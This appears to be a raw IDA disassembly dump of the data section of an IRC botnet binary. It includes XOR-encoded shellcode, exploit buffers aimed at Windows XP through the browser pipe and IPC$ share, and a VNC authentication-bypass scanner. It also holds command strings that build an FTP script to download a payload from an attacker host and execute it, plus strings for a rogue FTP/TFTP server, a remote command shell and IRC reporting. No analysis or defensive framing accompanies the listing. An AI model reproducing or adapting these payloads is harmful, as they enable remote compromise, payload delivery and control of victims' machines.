		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432730	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co
; ---------------------------------------------------------------------------


loc_43273C:				; CODE XREF: ___:00432746j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43273C
		inc	edi
		jz	short loc_432783
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4327AB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_432783:				; CODE XREF: ___:00432749j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4327E2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4327A8:				; CODE XREF: ___:004327D5j
		xor	[esi-25h], bl


loc_4327AB:				; CODE XREF: ___:00432751j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4327C4:				; CODE XREF: ___:004327F7j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4327A8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4327E2:				; CODE XREF: ___:00432789j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_43286E
		jo	short loc_4327C4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432805+1
		add	bl, [edi]


loc_432805:				; CODE XREF: ___:00432801j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43281A+2
		cmp	ch, bh
		dec	edx


loc_43281A:				; CODE XREF: ___:00432815j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_43286E:				; CODE XREF: ___:004327F5j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4328F4
		sub	al, 0BCh
		jmp	near ptr 54452C62h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432890	dd 0EFFFC481h, 44FFFFh,	4328DCh	; DATA XREF: ___:0040DC33o
dword_43289C	dd 42Ah			; DATA XREF: ___:0040DBE6r
dword_4328A0	dd 3E8h			; DATA XREF: ___:0040DC57r
dword_4328A4	dd 258h			; DATA XREF: ___:0040DC29r
byte_4328A8	db 1			; DATA XREF: ___:0040DB92r
					; ___:0040DC60r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4328C0	dd 20804h		; DATA XREF: sub_40D8A0r ___:0040DC7Eo ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004328ACo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4328F4:				; CODE XREF: ___:00432878j
		push	eax
		xor	al, 29h


loc_4328F7:				; DATA XREF: ___:0040DBBAo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_432900	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAEAo
dword_432914	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Eo
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Do
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE3+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4329BC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Do
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E29Ao
		align 10h
word_433C00	dw 1			; DATA XREF: ___:0040E211r
		align 4
dword_433C04	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C65+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438368o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00438374o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433EEC	db  2Dh	; -		; DATA XREF: sub_40F0D6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433F14	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D6+2CFo
					; sub_41A4D2+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D6+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F531+98o
					; sub_41AA43+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F531+5Fo
		align 4
unk_434134	db  2Dh	; -		; DATA XREF: sub_40F6B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_43416C	db  2Dh	; -		; DATA XREF: sub_40F6B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_4341A0:				; DATA XREF: sub_40F6B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96B+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96B+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+328o
					; sub_40F96B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_40F96B+2E9o
					; sub_40F96B+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96B+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434648	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410313o
dword_43468C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4346F4	db  2Dh	; -		; DATA XREF: ___:00410494o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43473C	db  2Dh	; -		; DATA XREF: ___:004106E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_43477C	db  2Dh	; -		; DATA XREF: ___:0041061Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4347C0	db  2Dh	; -		; DATA XREF: ___:004109A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4347EC	db  2Dh	; -		; DATA XREF: ___:00410982o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434818	db  2Dh	; -		; DATA XREF: ___:00410962o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410932o
		align 4
unk_434854	db  2Dh	; -		; DATA XREF: ___:004108A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434880	db  2Dh	; -		; DATA XREF: sub_4109C5:loc_410A0Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4348AC	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434A48	db  2Dh	; -		; DATA XREF: sub_410CD6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434A7C	db  2Dh	; -		; DATA XREF: sub_410CD6+59o
					; sub_410CD6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434AC4	db  2Dh	; -		; DATA XREF: sub_410E27+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434AEC	db  2Dh	; -		; DATA XREF: sub_410E27+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434B2C	db  2Dh	; -		; DATA XREF: sub_410E27+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B6C	db  2Dh	; -		; DATA XREF: sub_410F20+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F20+8Co
		align 4
dword_434BAC	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
